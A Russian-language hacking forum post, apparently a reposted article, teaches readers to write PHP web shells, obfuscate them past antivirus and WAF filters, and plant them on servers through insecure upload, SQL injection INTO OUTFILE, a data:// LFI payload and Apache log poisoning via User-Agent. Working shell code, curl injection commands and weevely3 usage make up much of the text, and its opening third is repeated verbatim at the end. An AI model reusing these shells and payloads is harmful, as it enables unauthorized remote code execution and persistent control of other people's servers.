- Регистрация
- Мар 23, 2023
- Сообщения
- 57
- Реакции
- 12
Содержание статьи
Сегодня я расскажу о том, что такое веб‑шеллы и как их пишут. Посмотрим, как при атаках заливают шелл на сервер, получив RCE через другие уязвимости. Также посмотрим, как логи сервера могут превратиться в веб‑шелл, выполняющий любую команду.
Веб‑шелл (web-sell, веб‑оболочка) — инструмент для комфортного удаленного выполнения кода на сервере. Обычно это скрипт, который работает как обычное веб‑приложение. Задача скрипта — выполнить в системе отправленную пользователем команду и вернуть результат. Скрипт пишется на языке, который установлен на конкретном веб‑сервере.
Чаще всего это скрипт на PHP, так как PHP — самый распространенный на вебе серверный язык программирования. Но веб‑шелл может быть написан и на любом другом языке: Python, JavaScript (Node.js), Java, Go и прочих. Конкретная платформа зависит от того, как сконфигурирован сервер и какие интерпретаторы установлены.
Читая статьи про веб‑шеллы, ты чаще всего встретишь формулировку «вредоносная программа». На самом деле веб‑шеллами пользуются и для администрирования серверов, чтобы не коннектиться все время по SSH или RDP. Вредоносность появляется только в том случае, когда веб‑шелл загружен на сервер несанкционированно и используется хакером для захвата контроля.
Простейший пример веб‑шелла на PHP:
PHP:
<span><span><span><</span>pre</span><span>></span></span><br> <span><span><?php</span><br> <span>echo</span> <span>shell_exec</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
Скрипт получает GET-параметр cmd и передает на выполнение функции shell_exec(). Функция shell_exec() сообщает веб‑серверу, что нужно выполнить определенный код в операционной системе. Результат выполнения возвращается на веб‑страницу. Обертка <pre>...</pre> нужна, чтобы вывод был читаемым, а не сваленными в кучу символами.
Давай на практическом примере посмотрим, как это работает. Для этого сохрани пример веб‑шелла в файл shell.php и запусти Docker-контейнер, примонтировав папку. Выполни команду
Код:
docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache
В Windows PowerShell могут потребоваться кавычки:
Код:
docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apache
После запуска контейнера открой в браузере такой URL:
Код:
На странице увидишь классическую работу ls -la.
Попробуй вместо ls -la команды вроде whoami, id, uname -a или любые другие команды операционной системы.
В Windows могут возникнуть проблемы с запуском. Штатный защитник, видя в файле shell_exec($_GET['cmd']) или system($_GET['cmd']), классифицирует файл как вредоносный и удаляет его. Банальная обфускация решит проблему:
PHP:
<span><span><span><</span>pre</span><span>></span></span><br> <span><span><?php</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
GET-параметры — неплохой вариант для начала, но не самый удобный. Для комфортной работы попробуй альтернативу со строкой ввода и POST-запросом:
PHP:
<span><span><span><</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>></span></span><br> <span><span><span><</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>></span></span><br> <span><span><span><</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>></span></span>Execute<span><span><span></</span>button</span><span>></span></span><br><span><span><span></</span>form</span><span>></span></span><br><span><span><span><</span>pre</span><span>></span></span><br><span><span><?php</span><br><span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br><span>echo</span> <span>$f</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br><span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
Сохрани файл как shell2.php и протестируй http://localhost:8080/shell2.php. Теперь ты можешь комфортно отправлять любые команды и не париться по поводу того, что забыл где‑то исправить пробел на %20.
Плюс веб‑шелла в том, что он выполняется в контексте веб‑приложения. Тебе не нужно создавать отдельный коннект, а значит, отпадает необходимость обхода файрвола. Но файрвол — это только один из способов защиты.
В Docker наш проект полностью открыт атакам. В реальной жизни на сервере может быть установлен Web Application Firewall (WAF), настроенный на блокировку запросов, содержащих системные команды. В таких случаях атакующему приходится придумывать способ обфускации (то есть скрытия), который позволит обойти WAF. Поскольку тот чаще всего работает по определенным правилам, это вполне возможно.
Один из вариантов — использование кодировки Base64. Давай поправим наш shell2.php:
PHP:
<span><span><span><</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>></span></span><br> <span><span><span><</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>></span></span><br> <span><span><span><</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>></span></span>Execute<span><span><span></</span>button</span><span>></span></span><br><span><span><span></</span>form</span><span>></span></span><br><span><span><?php</span><br><span>if</span> <span>(</span><span>!</span><span>empty</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>)</span> <span>{</span><br> <span>$encoded</span> <span>=</span> <span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>;</span><br> <span>if</span> <span>(</span><span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span> <span>!==</span> <span>false</span><span>)</span> <span>{</span><br> <span>$command</span> <span>=</span> <span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span><span>;</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>"<b>Base64 value:</b> <span><span>$encoded</span></span></br>"</span><span>;</span><br> <span>echo</span> <span>"<b>Command:</b> <span><span>$command</span></span></br>"</span><span>;</span><br> <span>echo</span> <span>"<pre>"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$command</span><span>)</span><span>;</span><br> <span>echo</span> <span>"</pre>"</span><span>;</span><br> <span>}</span> <span>else</span> <span>{</span><br> <span>echo</span> <span>"Invalid base64 input"</span><span>;</span><br> <span>}</span><br><span>}</span><br><span>?></span></span>
Такой метод уже гораздо круче, но отдельно кодировать каждую команду неудобно. Добавь в файл обработчик на JavaScript:
JavaScript:
<span><</span>form method<span>=</span><span>"POST"</span> onsubmit<span>=</span><span>"encodeCmd()"</span><span>></span><br> <span><</span>input type<span>=</span><span>"text"</span> id<span>=</span><span>"cmd_input"</span> placeholder<span>=</span><span>"Enter command"</span><span>></span><br> <span><</span>input type<span>=</span><span>"hidden"</span> name<span>=</span><span>"cmd"</span> id<span>=</span><span>"cmd_encoded"</span><span>></span><br> <span><</span>button type<span>=</span><span>"submit"</span><span>></span>Execute<span><</span><span>/</span>button<span>></span><br><span><</span><span>/</span>form<span>></span><br><span><</span>script<span>></span><br><span>function</span> <span>encodeCmd</span><span>(</span><span>)</span> <span>{</span><br> <span>const</span> input <span>=</span> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_input'</span><span>)</span><span>.</span>value<span>;</span><br> <span>const</span> encoded <span>=</span> <span>btoa</span><span>(</span>input<span>)</span><span>;</span><br> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_encoded'</span><span>)</span><span>.</span>value <span>=</span> encoded<span>;</span><br><span>}</span><br><span><</span><span>/</span>script<span>></span>
При вводе команды в скрытое поле cmd попадает значение, кодированное в Base64 через btoa(). Такой подход не требует отдельной обработки сабмита формы. Просто на лету формируется нужная строка.
Пример работы с командой, закодированной в Base64
Обфускация через Base64 — это один из примеров, и довольно простой. Иногда лучше работает функция chr(), которая преобразует числовое значение символа в символ. Есть вариант разбивать строку Base64 на несколько частей и сохранять промежуточное значение где‑нибудь в файле. Только не забудь как‑то помечать начало новой команды, чтобы можно было сбросить ошибки.
Вся работа шелла построена на выполнении команд в операционной системе. В примере я использовал функцию shell_exec(). Это не единственный вариант. В PHP есть: system(), passthru(), exec(), popen(), proc_open(). Каждая функция имеет свои плюсы и минусы с точки зрения использования, но в контексте веб‑шелла речь скорее про обход ограничений на сервере. Админ может в php.ini запретить вызов функций, перечислив их в disable_functions. Формально функция сохранится и будет доступна для вызова, но любая попытка вызова приведет к фатальной ошибке. Поэтому нужно понять, как использовать каждую из функций в рамках веб‑шелла.
Чаще всего блокируют функции shell_exec(), system(), passthru() и exec(). Но есть смысл тестировать каждую из них. Принципиальная разница между ними в возврате результата:
В PHP функция popen() открывает процесс как поток (stream) — почти так же, как fopen() открывает файл. Разница в том, что вместо файла ты получаешь доступ к вводу или выводу запущенной команды. Сигнатура вызова: popen(string $command, string $mode). Пример веб‑шелла:
PHP:
<span><span><?php</span><br> <span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br> <span>// Добавляем к команде перенаправление stderr в stdout, чтобы видеть ошибки</span><br> <span>$handle</span> <span>=</span> <span>popen</span><span>(</span><span>$cmd</span> <span>.</span> <span>' 2>&1'</span><span>,</span> <span>'r'</span><span>)</span><span>;</span><br> <span>if</span> <span>(</span><span>$handle</span><span>)</span> <span>{</span><br> <span>// Читаем так же, как из файла</span><br> <span>while</span> <span>(</span><span>!</span><span>feof</span><span>(</span><span>$handle</span><span>)</span><span>)</span> <span>{</span><br> <span>echo</span> <span>fread</span><span>(</span><span>$handle</span><span>,</span> <span>4096</span><span>)</span><span>;</span><br> <span>}</span><br> <span>pclose</span><span>(</span><span>$handle</span><span>)</span><span>;</span><br> <span>}</span></span>
Самая крутая и мощная функция — это proc_open(). При ее помощи можно создать псевдоинтерактивный веб‑шелл. Пример:
PHP:
<span><span><?php</span><br><span>$cmd</span> <span>=</span> <span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span> <span>?</span><span>?</span> <span>'id'</span><span>;</span><br><span>$descriptorspec</span> <span>=</span> <span>[</span><br> <span>0</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"r"</span><span>]</span><span>,</span> <span>// stdin</span><br> <span>1</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span><span>,</span> <span>// stdout</span><br> <span>2</span> <span>=</span><span>></span> <span>[</span><span>"pipe"</span><span>,</span> <span>"w"</span><span>]</span> <span>// stderr</span><br><span>]</span><span>;</span><br><span>$process</span> <span>=</span> <span>proc_open</span><span>(</span><span>$cmd</span><span>,</span> <span>$descriptorspec</span><span>,</span> <span>$pipes</span><span>)</span><span>;</span><br><span>if</span> <span>(</span><span>is_resource</span><span>(</span><span>$process</span><span>)</span><span>)</span> <span>{</span><br> <span>// Закрываем stdin, если не пишем</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>0</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'<pre>'</span><span>;</span><br> <span>echo</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>"\n--- STDERR ---\n"</span> <span>.</span> <span>stream_get_contents</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>echo</span> <span>'</pre>'</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>1</span><span>]</span><span>)</span><span>;</span><br> <span>fclose</span><span>(</span><span>$pipes</span><span>[</span><span>2</span><span>]</span><span>)</span><span>;</span><br> <span>proc_close</span><span>(</span><span>$process</span><span>)</span><span>;</span><br><span>}</span></span>
Сообщество пентестеров создало сотни готовых веб‑шеллов. Зачем писать свой с нуля, если кто‑то уже сделал красивую панельку с кнопочками? Но вот тут сразу большой жирный минус.
Используя чужой шелл, особенно популярный, ты с высокой вероятностью подцепишь бэкдор. Хакеры специально выкладывают «обновленные» версии WSO, r57, c99 с зашитыми внутрь фишками: отправка куки, пароля или логов себе на сервер. Встречаются скрытые майнеры, которые включаются через неделю, или просто реверс‑шеллы на чьи‑то тачки.
Представь: ты проводишь абсолютно легальный пентест по контракту, а через месяц получаешь письмо от заказчика: «А почему у нас на сервере майнится Monero на китайский адрес?»
Предупреждаю тебя: используя готовые шеллы, будь готов к неприятностям. Даже если репозиторий выглядит чистым — проверь diff с оригиналом, поищи подозрительные eval(base64_decode(...)), curl на внешние адреса. Я не беру на себя никакой ответственности. Все, что ты зальешь и запустишь, — на твой страх и риск.
На GitHub можно найти целые коллекции веб‑шеллов, например sagsooz/Webshell-bypass. Рекомендую покопаться в репозитории, посмотреть исходники для более глубокого понимания.
Приведу в пример несколько легендарных тулз, которые годами помогают в пентесте и не только.
Это маленький приятный веб‑шелл без лишних функций. Поддерживает защиту паролем. А защита веб‑шеллам нужна, без нее твой шелл может найти и захватить коллега по цеху. Находят шеллы обычным перебором каталогов. Иногда бывают курьезы и поисковики индексируют скрипт как легитимную страницу сайта. В таком случае веб‑шелл можно найти через обычный дорк.
Пример Rome Shell
В левой части — файлы и папки текущей директории. При помощи левого меню можно перемещаться по папкам сервера. Справа подобие терминала. Внизу командная строка, выше вывод. Поддерживает загрузку файлов.
В репозитории проекта выложены две версии скрипта: открытый код и обфусцированная версия. Открытый код свободно палится системами защиты.
Панель веб‑шелла WSO
Основные фичи:
Сейчас много модификаций: WSO 2.5, WSO-NG, «невидимки» с шифрованием. Многие свежие репозитории на GitHub — это либо старые версии, либо версии, припудренные бэкдорами. Если берешь готовый веб‑шелл — проверяй обязательно. WSO подходит для комфортной эксплуатации сервера, когда уже есть загрузка файла и хочется GUI.
Ссылку на классический WSO 2.5 я привожу скорее для истории: он не запустится на PHP 7 или 8. Внутри куча старых функций вроде set_magic_quotes_runtime или подключения к базе через mysql_. Зато это чистый код, который можно модифицировать и получить рабочий шелл. В большинстве случаев более новые версии будут обфусцированы.
Есть новая версия WSO, но скачиваешь и используешь на свой страх. По умолчанию установлен пароль Nfdh3@631q12.
Это серьезный инструмент для пентеста. Не просто шелл, а заряженная пушка, как пишут разработчики. Входит в комплект инструментов Kali.
Эта тулза скорее бэкдор, для работы используется не браузер, а коннект программы к своему агенту.
Результат коннекта через weevely3
При пентесте сначала генерируешь маленький зашифрованный агент (PHP-файл) и заливаешь на цель.
Код:
weevely generate test123 wshell.php
Подключаешься через Python-клиент weevely.py — получаешь терминал как SSH:
Код:
weevely http://localhost:8080/wshell.php test123
Тулза поддерживает около 30 мощных модулей для работы. Вот некоторые примеры:
Модули динамически подгружаются, сам агент крошечный.
Чтобы подробнее познакомиться с модулями, после коннекта к агенту используй команду :help. Двоеточием ты даешь понять, что хочешь работать с модулями.
Работа через weevely максимально тихая. Трафик обфусцирован, сигнатур почти нет. Идеально для долгосрочного доступа.
Веб‑шелл — это не метод атаки, а способ превратить уязвимость в Remote Code Execution. Чтобы залить шелл, тебе нужна какая‑то уязвимость с записью в файл. Наиболее простой вариант — это небезопасная загрузка файла. Загрузил файл и пользуешься.
Для демонстрации запустим DVWA:
Код:
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Зайди на
http://localhost
, используй admin/admin для входа. Жми Setup/Reset DB. Заново авторизуйся с кредами admin/password. В меню слева найди File Upload, это раздел, связанный с уязвимостью загрузки файлов. Выбери файл с любым веб‑шеллом и загрузи его на сервер. В ответ приложение выдаст путь к загруженному файлу. Добавь его к URL. Итоговый URL будет выглядеть как‑то так:
http://localhost/hackable/uploads/shell.php
.
Еще вариант — записать шелл в веб‑директорию через SQL Injection. Если база данных висит на том же сервере и пользователь имеет права на запись через INTO OUTFILE, выполни подобную команду:
SQL:
<span>SELECT</span> <span>'<?php system($_GET["cmd"]); ?>'</span> <span>INTO</span> <span>OUTFILE</span> <span>'/var/www/html/shell.php'</span>
SQL Injection бывает полезна не только возможностью записи файла. На одном таргете у меня была самописная система управления контентом. Веб‑приложение охватывало несколько доменов, каждый из которых работал с собственным сервером. Система раскидывала контент по этим доменам через FTP. Данные для подключения хранились в открытом виде в базе. Само приложение было уязвимо к SQL Injection. Мне не составило никакого труда вытащить данные из базы, подключиться к FTP и залить веб‑шелл.
Часто для загрузки веб‑шелла используется Local File Inclusion и Remote File Inclusion. Если доступны врапперы, есть вариант подгрузить шелл подобным способом:
Код:
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id
Подразумевается, что из параметра page значение напрямую передается в функцию include. Через data:// передаем строку <?php system($_GET['c']); ?>. В параметре &c прописана системная команда, которую PHP будет искать после работы враппера.
Если врапперы недоступны, но есть Remote File Inclusion, тебе нужно поместить шелл на свой сервер. Шелл должен быть в виде текстового файла с блоком кода <?php...?>. Тогда веб‑приложение подгрузит текст и выполнит код веб‑шелла.
Что делать, если есть только Local File Inclusion? Попробуй интересный хук через лог сервера. Код веб‑шелла отправляется в User-Agent. После лог инклюдится через LFI на страницу сайта.
Чтобы на практике посмотреть, как это работает, создадим Dockerfile:
Код:
FROM php:8.2-apache<br>RUN mkdir -p /var/log/apache2 \<br> && chown -R www-data:www-data /var/log/apache2 \<br> && chmod -R 755 /var/log/apache2 \<br> && rm -f /var/log/apache2/*.log \<br> && sed -i 's|ErrorLog ${APACHE_LOG_DIR}/error.log|ErrorLog /var/log/apache2/error.log|' /etc/apache2/apache2.conf \<br> && sed -i 's|CustomLog ${APACHE_LOG_DIR}/access.log|CustomLog /var/log/apache2/access.log|' /etc/apache2/apache2.conf \<br> && sed -i 's|CustomLog ${APACHE_LOG_DIR}/other_vhosts_access.log|CustomLog /var/log/apache2/other_vhosts_access.log|' /etc/apache2/conf-available/other-vhosts-access.conf || true<br># Уязвимая страница LFI<br>COPY <<'EOF' /var/www/html/vuln.php<br><?php<br>if (isset($_GET['page'])) {<br> include($_GET['page']);<br>} else {<br> echo "<h1>LFI demo page</h1>";<br>}<br>?><br>EOF<br>EXPOSE 80
Обрати внимание на смену владельца и установку прав на папку с логами. Хук возможен только в случае, если у тебя есть права на чтение логов.
Собери и запусти контейнер:
Код:
docker build -t lfi-log-lab .<br>docker run -d -p 8080:80 --name lfi-lab lfi-log-lab
Выполни инъекцию шелла в лог командой
curl -A '<?php extract($_GET); system($c); die(); ?>' http://localhost:8087/vuln.php
Проверь, чтобы в access.log лежал код в правильном формате:
Код:
docker exec -it lfi-lab tail -n 3 /var/log/apache2/access.log
В ответе должна быть подобная строка:
Код:
172.17.0.1 - - [23/Feb/2026:10:25:38 +0000] "GET /vuln.php HTTP/1.1" 200 196 "-" "<?php extract($_GET); system($c); die(); ?>"
Функция extract() выбрана не случайно. По умолчанию Apache 2 избавляется от кавычек. Например, можем попытаться отправить такой код:
PHP:
<span><span><?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span><span>"cmd"</span><span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?></span></span>
Тогда на выходе получим
PHP:
<span><span><?php</span> <span>system</span><span>(</span><span>$_GET</span><span>[</span>cmd<span>]</span><span>)</span><span>;</span><span>die</span><span>(</span><span>)</span><span>;</span><span>?></span></span>
При попытке инклудить код увидишь фатальную ошибку, так как cmd — это неизвестный для PHP литерал. Если экранируешь кавычки через ", в лог строка упадет в том же виде: $_GET["cmd"]. Такой код тоже приведет к ошибке. Поэтому оптимальный путь — это «разобрать» именованный массив $_GET по локальным переменным. После работы функции PHP создаст одноименные переменные.
Команда die() нужна для прекращения выполнения. Все, что идет в файле после нее, будет проигнорировано интерпретатором PHP. Это позволит избежать ошибок при выполнении твоего шелла и защитит твою инъекцию от чужих инъекций. С другой стороны, если допустишь ошибку в инъекции, придется ждать, когда логи сервера заполнятся и система скинет их.
Тебе осталось передать команду в параметре &c:
Bash:
<span>curl</span> <span>"http://localhost:8087/vuln.php?page=/var/log/apache2/access.log&c=id"</span>
При выполнении запроса PHP увидит в page путь к логу. При помощи include подгрузит файл лога и приступит к поиску блоков PHP в тексте. Наткнувшись на <?php...?>, выполнит код вставки. Текст вне PHP-блока будет проигнорирован.
Внутри блока выполнится экстракт. Значение GET-параметра &c попадет в переменную $c. Далее сработает системный вызов. Наш пример приведет к системному вызову функции id. Результат работы system отправляется в stdout; в данном случае это тело ответа сервера. Завершится выполнение функцией die(), после которой интерпретатор забудет про текст лога и продолжит выполнение кода, идущего за include($_GET['page']);.
Как видишь, есть много способов загрузить шелл на сервер. Конкретный способ зависит от конфигурации таргета.
Шеллы на PHP в большинстве случаев автономны — загрузил файл, и можно сразу пользоваться. Как ты понимаешь, такой подход работает не везде. Автономно могут работать и веб‑шеллы, ориентированные на ASP, JSP и скрипты на Perl.
Автономные веб‑шеллы работают исключительно благодаря архитектуре интерпретатора и веб‑сервера, которые выполняют код по факту HTTP-запроса к файлу. Противоположность — проекты с предварительной загрузкой структуры файлов и роутов.
Отличный пример — проекты на Node.js. Просто так залить веб‑шелл в них не получится. Запущенное приложение просто проигнорирует твой файл. Node.js загружает приложение целиком, работает с прописанными маршрутами и не подтягивает новые файлы автоматически при их появлении. Чтобы Node.js начал обрабатывать файл, веб‑сервер должен его увидеть и каким‑то образом подгрузить. Например, если у тебя есть возможность запустить свой шелл на параллельное выполнение на другом порте, прописав команду в package.json.
Результата ты не получишь, даже если у тебя есть возможность дописать свой шелл в код одного из файлов или добавить новый роут. Пока приложение не будет перезапущено, ни о какой обработке речи быть не может.
Существуют способы «выбить» сервер и заставить перезагрузить веб‑приложение. Но это уже выходит за пределы знакомства с веб‑шеллами. На этом этапе тебе важно само понимание того, что бывают автономные и неавтономные скрипты. На первых порах проще работать с классическим заливом. Если интересно узнать, как заливать и закреплять неавтономный веб‑шелл, напиши в комментах.
ret0x2A
- Обход защиты
- Shell-функции
- Готовые веб-шеллы
- Rome Shell
- WSO (Web Shell by oRb и его клоны)
- weevely3
- Как залить веб-шелл на сервер
- Автономные и неавтономные веб-шеллы
Сегодня я расскажу о том, что такое веб‑шеллы и как их пишут. Посмотрим, как при атаках заливают шелл на сервер, получив RCE через другие уязвимости. Также посмотрим, как логи сервера могут превратиться в веб‑шелл, выполняющий любую команду.
Веб‑шелл (web-sell, веб‑оболочка) — инструмент для комфортного удаленного выполнения кода на сервере. Обычно это скрипт, который работает как обычное веб‑приложение. Задача скрипта — выполнить в системе отправленную пользователем команду и вернуть результат. Скрипт пишется на языке, который установлен на конкретном веб‑сервере.
Чаще всего это скрипт на PHP, так как PHP — самый распространенный на вебе серверный язык программирования. Но веб‑шелл может быть написан и на любом другом языке: Python, JavaScript (Node.js), Java, Go и прочих. Конкретная платформа зависит от того, как сконфигурирован сервер и какие интерпретаторы установлены.
Читая статьи про веб‑шеллы, ты чаще всего встретишь формулировку «вредоносная программа». На самом деле веб‑шеллами пользуются и для администрирования серверов, чтобы не коннектиться все время по SSH или RDP. Вредоносность появляется только в том случае, когда веб‑шелл загружен на сервер несанкционированно и используется хакером для захвата контроля.
Простейший пример веб‑шелла на PHP:
PHP:
<span><span><span><</span>pre</span><span>></span></span><br> <span><span><?php</span><br> <span>echo</span> <span>shell_exec</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
Скрипт получает GET-параметр cmd и передает на выполнение функции shell_exec(). Функция shell_exec() сообщает веб‑серверу, что нужно выполнить определенный код в операционной системе. Результат выполнения возвращается на веб‑страницу. Обертка <pre>...</pre> нужна, чтобы вывод был читаемым, а не сваленными в кучу символами.
Давай на практическом примере посмотрим, как это работает. Для этого сохрани пример веб‑шелла в файл shell.php и запусти Docker-контейнер, примонтировав папку. Выполни команду
Код:
docker run --rm -p 8080:80 -v $(pwd):/var/www/html php:8.2-apache
В Windows PowerShell могут потребоваться кавычки:
Код:
docker run --rm -p 8080:80 -v "${PWD}:/var/www/html" php:8.2-apache
После запуска контейнера открой в браузере такой URL:
Код:
На странице увидишь классическую работу ls -la.
Попробуй вместо ls -la команды вроде whoami, id, uname -a или любые другие команды операционной системы.
В Windows могут возникнуть проблемы с запуском. Штатный защитник, видя в файле shell_exec($_GET['cmd']) или system($_GET['cmd']), классифицирует файл как вредоносный и удаляет его. Банальная обфускация решит проблему:
PHP:
<span><span><span><</span>pre</span><span>></span></span><br> <span><span><?php</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$_GET</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br> <span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
GET-параметры — неплохой вариант для начала, но не самый удобный. Для комфортной работы попробуй альтернативу со строкой ввода и POST-запросом:
PHP:
<span><span><span><</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>></span></span><br> <span><span><span><</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>></span></span><br> <span><span><span><</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>></span></span>Execute<span><span><span></</span>button</span><span>></span></span><br><span><span><span></</span>form</span><span>></span></span><br><span><span><span><</span>pre</span><span>></span></span><br><span><span><?php</span><br><span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br><span>echo</span> <span>$f</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>;</span><br><span>?></span></span><br><span><span><span></</span>pre</span><span>></span></span>
Сохрани файл как shell2.php и протестируй http://localhost:8080/shell2.php. Теперь ты можешь комфортно отправлять любые команды и не париться по поводу того, что забыл где‑то исправить пробел на %20.
Обход защиты
Плюс веб‑шелла в том, что он выполняется в контексте веб‑приложения. Тебе не нужно создавать отдельный коннект, а значит, отпадает необходимость обхода файрвола. Но файрвол — это только один из способов защиты.
В Docker наш проект полностью открыт атакам. В реальной жизни на сервере может быть установлен Web Application Firewall (WAF), настроенный на блокировку запросов, содержащих системные команды. В таких случаях атакующему приходится придумывать способ обфускации (то есть скрытия), который позволит обойти WAF. Поскольку тот чаще всего работает по определенным правилам, это вполне возможно.
Один из вариантов — использование кодировки Base64. Давай поправим наш shell2.php:
PHP:
<span><span><span><</span>form</span> <span>method</span><span><span>=</span><span>"</span>POST<span>"</span></span><span>></span></span><br> <span><span><span><</span>input</span> <span>type</span><span><span>=</span><span>"</span>text<span>"</span></span> <span>name</span><span><span>=</span><span>"</span>cmd<span>"</span></span> <span>placeholder</span><span><span>=</span><span>"</span>Enter command<span>"</span></span><span>></span></span><br> <span><span><span><</span>button</span> <span>type</span><span><span>=</span><span>"</span>submit<span>"</span></span><span>></span></span>Execute<span><span><span></</span>button</span><span>></span></span><br><span><span><span></</span>form</span><span>></span></span><br><span><span><?php</span><br><span>if</span> <span>(</span><span>!</span><span>empty</span><span>(</span><span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>)</span><span>)</span> <span>{</span><br> <span>$encoded</span> <span>=</span> <span>$_POST</span><span>[</span><span>'cmd'</span><span>]</span><span>;</span><br> <span>if</span> <span>(</span><span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span> <span>!==</span> <span>false</span><span>)</span> <span>{</span><br> <span>$command</span> <span>=</span> <span>base64_decode</span><span>(</span><span>$encoded</span><span>,</span> <span>true</span><span>)</span><span>;</span><br> <span>$f</span> <span>=</span> <span>"shel"</span><span>.</span><span>"l_"</span><span>.</span><span>"exec"</span><span>;</span><br> <span>echo</span> <span>"<b>Base64 value:</b> <span><span>$encoded</span></span></br>"</span><span>;</span><br> <span>echo</span> <span>"<b>Command:</b> <span><span>$command</span></span></br>"</span><span>;</span><br> <span>echo</span> <span>"<pre>"</span><span>;</span><br> <span>echo</span> <span>$f</span><span>(</span><span>$command</span><span>)</span><span>;</span><br> <span>echo</span> <span>"</pre>"</span><span>;</span><br> <span>}</span> <span>else</span> <span>{</span><br> <span>echo</span> <span>"Invalid base64 input"</span><span>;</span><br> <span>}</span><br><span>}</span><br><span>?></span></span>
Такой метод уже гораздо круче, но отдельно кодировать каждую команду неудобно. Добавь в файл обработчик на JavaScript:
JavaScript:
<span><</span>form method<span>=</span><span>"POST"</span> onsubmit<span>=</span><span>"encodeCmd()"</span><span>></span><br> <span><</span>input type<span>=</span><span>"text"</span> id<span>=</span><span>"cmd_input"</span> placeholder<span>=</span><span>"Enter command"</span><span>></span><br> <span><</span>input type<span>=</span><span>"hidden"</span> name<span>=</span><span>"cmd"</span> id<span>=</span><span>"cmd_encoded"</span><span>></span><br> <span><</span>button type<span>=</span><span>"submit"</span><span>></span>Execute<span><</span><span>/</span>button<span>></span><br><span><</span><span>/</span>form<span>></span><br><span><</span>script<span>></span><br><span>function</span> <span>encodeCmd</span><span>(</span><span>)</span> <span>{</span><br> <span>const</span> input <span>=</span> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_input'</span><span>)</span><span>.</span>value<span>;</span><br> <span>const</span> encoded <span>=</span> <span>btoa</span><span>(</span>input<span>)</span><span>;</span><br> document<span>.</span><span>getElementById</span><span>(</span><span>'cmd_encoded'</span><span>)</span><span>.</span>value <span>=</span> encoded<span>;</span><br><span>}</span><br><span><</span><span>/</span>script<span>></span>
При вводе команды в скрытое поле cmd попадает значение, кодированное в Base64 через btoa(). Такой подход не требует отдельной обработки сабмита формы. Просто на лету формируется нужная строка.
